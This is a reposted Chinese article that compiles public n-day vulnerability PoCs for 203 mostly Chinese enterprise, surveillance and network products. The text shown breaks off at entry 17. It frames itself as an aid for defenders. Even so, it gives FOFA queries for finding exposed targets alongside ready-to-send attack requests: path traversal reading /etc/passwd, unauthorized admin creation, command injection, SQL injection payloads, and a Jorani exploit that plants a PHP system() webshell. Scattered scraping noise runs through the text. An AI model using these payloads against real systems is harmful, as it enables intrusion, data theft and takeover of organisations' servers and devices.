互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
' m) M8 T2 N0 _0 B, r0 T& K% g以下文章来源于网络安全新视界 ，作者网络安全新视界
; h3 `' v* ]4 t
7 j$ L' H) w' c发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
0 U' d( l, J2 A5 U. t
# e1 ^* F2 k0 N8 P( m7 [5 g+ ~4 `安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
+ e! H1 F1 _3 [' `; Z) J: v, s9 R
文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

6 j( ?" F4 r# j/ o合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
* b9 n# W( K$ e8 G5 {4 z/ A2 a
  {- S& x) m& A4 W
声明

5 G- D6 a9 w% g3 g/ e+ @9 V/ m& H4 d& e为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
5 {$ M7 u" f+ v6 _7 V5 t


目录

# ?+ r* G0 G$ x5 _01

' [( {0 e1 ?% E1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
5. NUUO NVR 视频存储管理设备远程命令执行
5 D2 N' E' w" ]6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
: v, E& j" t$ y10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
/ U& O. f" K+ T: U12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
6 ?6 C, y, X1 j2 S8 Q14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
( M1 K6 g/ U7 ?$ M& g16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
  [: _. P2 `0 c3 f, t18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
# N4 B4 q& ]2 N0 }" P+ X19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
( ]! y! R+ k5 m6 Y6 n0 f: Z- q1 C6 K26. 用友NC linkVoucher SQL注入
8 U+ V5 I: X; \9 r: |27. 用友 NC showcontent SQL注入
+ ^, T- m, J. k: E+ e8 s5 o* `5 M28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
) K: u/ x* p* b2 D" b0 L! b30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
- R1 ?6 N8 t* E- Q; c& @* h2 Z# i32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
% v2 T; G1 O" q1 X34. 用友NC warningDetailInfo接口SQL注入
- D% B5 J% r/ J! A7 m$ L. t35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
9 [' R' F) z- v. T4 I2 l4 V' k39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
% _/ Y9 u6 S, c- \! K41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
* k! K9 n% g0 f9 ]44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
, ~3 n- o* \; g% i46. 用友GRP-U8 sqcxIndex.jsp SQL注入
9 [/ z: ^" o% G, ^6 Q& @47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
0 ]5 C3 n: v) v. q2 x50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
8 B$ f/ x/ p8 u" n) E1 A4 e57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
% r& d1 j  U$ {3 K: z2 H. D59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
5 I  M/ k/ r5 C6 c! _# L0 }+ m3 V63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
/ [1 Y5 h9 g. \- D% m; A% I$ H' f68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
3 \' ~9 P  m  F$ s% g70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
! T3 o# {- u6 m72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
* ~* q% S9 t' w; G! Z82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
  u9 ?& f8 `5 h3 G( n83. JeecgBoot testConnection 远程命令执行
1 h5 o9 o  x6 ~, M$ z& }' `$ s( l84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
" P2 F" K- s5 \& p( D$ j85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
1 S3 k6 o# ?9 ?% A87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
8 {* u2 h1 n9 C89. 致远互联FE协作办公平台editflow_manager存在sql注入
6 @  k% c7 _" K/ U) d- H90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
5 ]: m7 L0 q9 a  [92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
4 R: m& u" _/ E; U% f5 |, F94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
+ h$ j$ a/ P  K0 T; C4 V, }: k6 V, B95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
+ _) v. p6 u/ i5 P  k9 Y9 e; i96. Apache OFBiz  18.12.11 groovy 远程代码执行
1 t- j8 ]$ [2 Z97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
0 ?8 h6 Y% ^2 b+ H9 l98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
3 b' a, S  m& S7 R$ ~2 ~101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
4 C, J# E, k. @105. SpringBlade v3.2.0 export-user SQL 注入
8 \7 L+ u/ C0 }106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
) s8 d$ Q  Y" u8 B7 D  f108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
+ {) x6 k) X- ^9 _) d3 h/ _110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
' I/ f5 N5 Q! N* }115. WordPress Bricks Builder <= 1.9.6 RCE
8 o0 E8 h/ M9 n+ B. z( u9 K116. wordpress js-support-ticket文件上传
- l7 F; c. O+ d! A- {' o117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
) m. t0 v& H6 [+ D5 Z123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
' z, A3 l4 p1 b) e7 r9 b125. ConnectWise ScreenConnect身份验证绕过
. c" H- K8 k5 y# V126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
- @! {  T6 y/ c1 i9 d128. Adobe ColdFusion 反序列化
: [. u: a- s1 I9 d# c' X129. Adobe ColdFusion 任意文件读取
0 i5 N: B: M/ r9 k130. Laykefu客服系统任意文件上传
# Q9 N; h# u0 J8 N131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
) _7 F" ^* G, a6 w4 N133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
, J) z2 Y# @0 ^# B' c- \136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
% t* x: H6 s2 z138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
1 k* }# V. n8 \9 z4 D! U140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
1 q, ~+ |, ^- n% B5 q/ t; m141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
# s2 w- w! e: S0 r  k; L142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
- i& N8 }7 _0 K154. 天维尔消防救援作战调度平台 SQL注入
1 d, c; `6 }- e( r, h% P155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
, Y3 ?" ?0 Y2 T. V159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
# b" Q6 D- D% R! S% A! C161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
: Q5 x# L( d) s, e1 Q  R6 ^# Q164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
( J" d2 _& ?1 X7 y166. 中成科信票务管理平台SeatMapHandler SQL注入
  L. v% p8 K" t/ y; g" J% K9 K167. 精益价值管理系统 DownLoad.aspx任意文件读取
# z  p+ a% s0 Z+ ]' y* W7 e; o168. 宏景EHR OutputCode 任意文件读取
/ e. |7 i% H+ g) k" j/ U' v169. 宏景EHR downlawbase SQL注入
3 D1 S# V  j+ c' O170. 宏景EHR DisplayExcelCustomReport 任意文件读取
# Z) _8 F6 {$ A; J# l171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
$ c+ B+ O# b2 f; d: t2 m3 R* T175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
3 C& b9 J& j7 t5 U8 w176. 电信网关配置管理系统 rewrite.php 文件上传
: w9 `: ]" {  k% c177. H3C路由器敏感信息泄露
& L" E* K6 \* A0 p; \% {/ ?178. H3C校园网自助服务系统-flexfileupload-任意文件上传
+ A3 t& f' Q( o0 E' s) `179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
7 f( Y+ z4 i. k8 d183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
. P7 ]; V4 X5 c; _' q3 g6 e0 G1 ?184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
$ |4 v) R  h6 u6 o" l. f185. 瑞友天翼应用虚拟化系统SQL注入
" n/ q% _5 ?1 A. N4 u- v186. F-logic DataCube3 SQL注入
/ V0 E. g, E; B  s0 u4 O& M187. Mura CMS processAsyncObject SQL注入
6 m# d: I6 L: W- I/ E1 n188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
1 ]2 }7 t0 ^0 C. F; U7 X190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
& z  k! w; l% p+ S/ P192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
* J' Z0 v- I" k) p8 w; m194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
0 g4 v4 _& I: F/ B4 c& K195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
: N: h4 b, h7 ~- L2 d0 X+ J  M196. 河南省风速科技统一认证平台密码重置
7 j2 Q0 Q) ~4 [197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
5 U9 y" z" C3 f: E198.  阿里云盘 WebDAV 命令注入
. e/ f. o" G! T1 n& }2 Y: Y199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
! {# {5 k$ p6 o, \3 G6 G202. 微擎系统 AccountEdit任意文件上传
4 r' p. @1 |' V7 E- ~0 e' `: h( u8 E203. 红海云EHR PtFjk 文件上传
( K: S* y$ F+ u& ^. E( u  _
POC列表

02

  \5 i4 A& S# p; P0 P1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
, ?5 B" B3 x, m2 N+ C4 AGET /mem_tracker HTTP/1.1
! t& A& b3 h, d: X: r: O7 BHost: URL


% g2 d7 S$ _# `/ A. f. |3 h2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
. O8 x5 [4 c, u4 gGET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
6 |/ B" n: }9 G- MAccept-Language: en
" C5 |7 x) J# q" IAccept-Encoding: gzip
/ @9 Y  k; k* Q

  M) }* U/ S! B  o3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
+ m+ _% d9 D, N* L; PGET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
; A6 w* Q$ f/ G9 a0 ~, d. s2 b1 rHost: xx.xx.xx.xx
) N/ Y7 o' e3 |; P

4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"

  \8 @( R7 R( J7 S7 C* zpassword更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
Host: your-ip
: ]4 ]) g# y1 ~  O' l- kContent-Type: application/x-www-form-urlencoded; charset=UTF-8

- c) T# \1 R7 i+ A3 @, zname=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1


5. NUUO NVR 视频存储管理设备远程命令执行
8 j4 p/ [, e1 e9 O8 }* `7 W! CFOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx
7 d; b! J5 P; l3 H0 d+ r$ y
# g9 w3 C: E) Q. \& d
6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:

0 h- f3 s% E! p0 y+ J
, y1 j6 R. T5 N* I4 v7. 鸿运主动安全监控云平台任意文件下载
. h( |8 g1 x! `FOFA：body="./open/webApi.html"
) U4 t$ x4 \2 ]! t8 [GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:
0 y  Y' S5 H) {6 z

  Q  J: }9 \+ V( f7 @8. 斐讯 Phicomm 路由器RCE
- Q7 C/ C( x' ~# HFOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
4 r1 C8 P- Y9 A3 H. ECookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
0 }) J& h( K5 ~3 s3 }9 pUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

1 a: Q( Y( |5 R------WebKitFormBoundaryxbgjoytz
3 d- I) U0 g, H* J. H; AContent-Disposition: form-data; name="wifiRebootEnablestatus"

; m. t* U- p2 B) a. }- t; A%s
8 V0 N/ x5 G+ x% n------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"
3 U- X2 X9 j1 s( L1 Y9 U: E7 {  [
12:00; id;
4 K! F7 r! W+ D% |% }------WebKitFormBoundaryxbgjoytz
4 Z. {  f& w1 C2 g2 g+ m; K3 \Content-Disposition: form-data; name="wifiRebootendrange"
- b9 ^9 \0 ~+ ?" E; ^) e
%s:
------WebKitFormBoundaryxbgjoytz
( E$ N2 U' t2 H" LContent-Disposition: form-data; name="cururl2"
1 b% ~! n  T7 G$ b( X& w

4 {6 u6 F. g6 x$ ?( s------WebKitFormBoundaryxbgjoytz--


9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
( N7 ]6 f0 i; s& [6 e1 x# t) {' C+ dGET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x
. q. Y/ |' R& B. c

payload为下列语句的二次Url编码
/ }8 f$ G' l$ A4 \, z
' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
# ~4 m) J* |2 l2 ?$ p
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"

文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
) |2 E; e8 O0 d' u& d' zContent-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
3 X7 m6 W/ H2 |* P7 Y" yAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
/ X; i& W! u0 C1 q& CConnection: close
( i2 \; w. B$ Y* L  u+ DContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
0 X4 t4 o" c3 w( I1 `
7 v+ M' K% ]" |------WebKitFormBoundaryxdgaqmqu
/ n1 ~$ ~! X% ?: l5 X& LContent-Disposition: form-data; name="file"filename="icfitnya.txt"
: E2 D% O/ J% N8 B& H: q1 q% `. ]' _Content-Type: text/html

# b* s5 h0 e% `& R, ?" Qjmnqjfdsupxgfidopeixbgsxbf
# v3 b6 n9 F# l4 B+ e6 ]------WebKitFormBoundaryxdgaqmqu--

5 ?' e1 d2 V2 \) j& |
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
; g- m7 J3 ]1 TGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
' |/ l/ T; ~& d6 h- qPragma: no-cache
8 @: L7 u- y/ O) _! F- W9 uCache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
3 D0 X- n, y' D) F7 F) J$ tAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

0 d3 b' x2 n$ o( f
12. Jorani < 1.0.2 远程命令执行
& |1 |5 h; C( ^& l3 W6 }+ N  }FOFA：title="Jorani"
第一步先拿到cookie
GET /session/login HTTP/1.1
- I) c3 G+ v7 c) O7 V4 IHost: 192.168.190.30
' f" a$ s$ [* e5 H$ ?% wUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
+ z- D) m; x1 b9 y) g7 z7 d9 yConnection: close
Accept-Encoding: gzip


. I8 |1 K% d+ Q# P6 o* i响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
4 ?! r+ t  V8 |) S( {) SConnection: close
2 }4 g  w# A/ ]' K9 z/ uCache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
$ i  V% G! G$ ~( J& a# eLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
" Z# T7 K3 W& |6 R1 E5 \Pragma: no-cache
8 I% t$ R" a  {1 N' W" fServer: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding


POST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
5 |0 F( ?/ w( B! s+ U9 UHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 252
4 z. U) E1 |1 J# z6 A6 R8 T. qContent-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
& ?6 E% L* H7 B2 ZAccept-Encoding: gzip

csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
6 j" O& I# M/ p: y6 [& K

+ `& ]) Z& a& K, U& ]  ]
向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
% A5 Z% a; I+ E% C. @: X# |GET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
8 i9 O# \' i9 S2 Z: a: l/ C9 ~Connection: close
+ i: f0 S9 q9 Z% O. KCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
+ I3 R4 z# h4 G" A/ NK1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
" n! Z* P5 M' N5 P) ?X-REQUESTED-WITH: XMLHttpRequest
! r6 V" a4 x- tAccept-Encoding: gzip


13. 红帆iOffice ioFileDown任意文件读取
8 ?2 p1 w& H) i5 a. B: QFOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
. u, Z) \4 A' o, l" J7 z; t( A+ JHost: x.x.x.x
. ?0 C8 o& L. n1 n. M% `2 a" S1 dUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
( U6 y" t' X1 O5 q% SAccept: */*
Accept-Encoding: gzip

! Q6 l2 c+ I! a, Y" n! I4 l
14. 华夏ERP（jshERP）敏感信息泄露
4 E, Y2 ~3 d9 F+ l* ]' JFOFA：body="jshERP-boot"
! v1 Z  O' a8 |. G0 X8 e( J泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
+ ^% k1 p8 B: V& e( |+ a: E: hAccept: */*
Accept-Language: en
* W7 Q) s9 h# h8 I  }) ^2 h3 dAccept-Encoding: gzip


15. 华夏ERP getAllList信息泄露
4 C0 j* U0 q# k' `: Y6 F' `CVE-2024-0490
8 C/ e* s* t/ tFOFA：body="jshERP-boot"
& I6 m: `6 A  ~2 B泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
' i: O5 K7 F6 l  B: pUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
, R5 S; G' r4 m8 t2 gAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
6 d7 }. m! z6 T* ]' \( U) [Accept-Language: en
# f2 Q0 Y6 Y; ~$ C5 _6 W( asec-ch-ua-platform: Windows
Accept-Encoding: gzip
' K! \" H$ x& M8 k9 s% [, D0 N

! n* ]6 h7 h5 A7 H, Z2 R16.  红帆HFOffice医微云SQL注入
7 k- o: u/ X+ `8 KFOFA：title="HFOffice"
poc中调用函数计算1234的md5值
/ A9 Y" d! i% Y1 p" u6 _% ZGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
% t2 m$ N/ s& _" T* H! dHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Accept: */*
  B2 Z+ H( d+ ?4 O8 C/ ZAccept-Language: en
  H' p- ]+ F+ [: l/ a* xAccept-Encoding: gzip

0 [" y2 x7 e' T6 J/ m. a
17. 大华 DSS itcBulletin SQL 注入
( r: X" }+ G8 x/ W( z* g& g' YFOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
% L* c$ `7 K  `Host: x.x.x.x
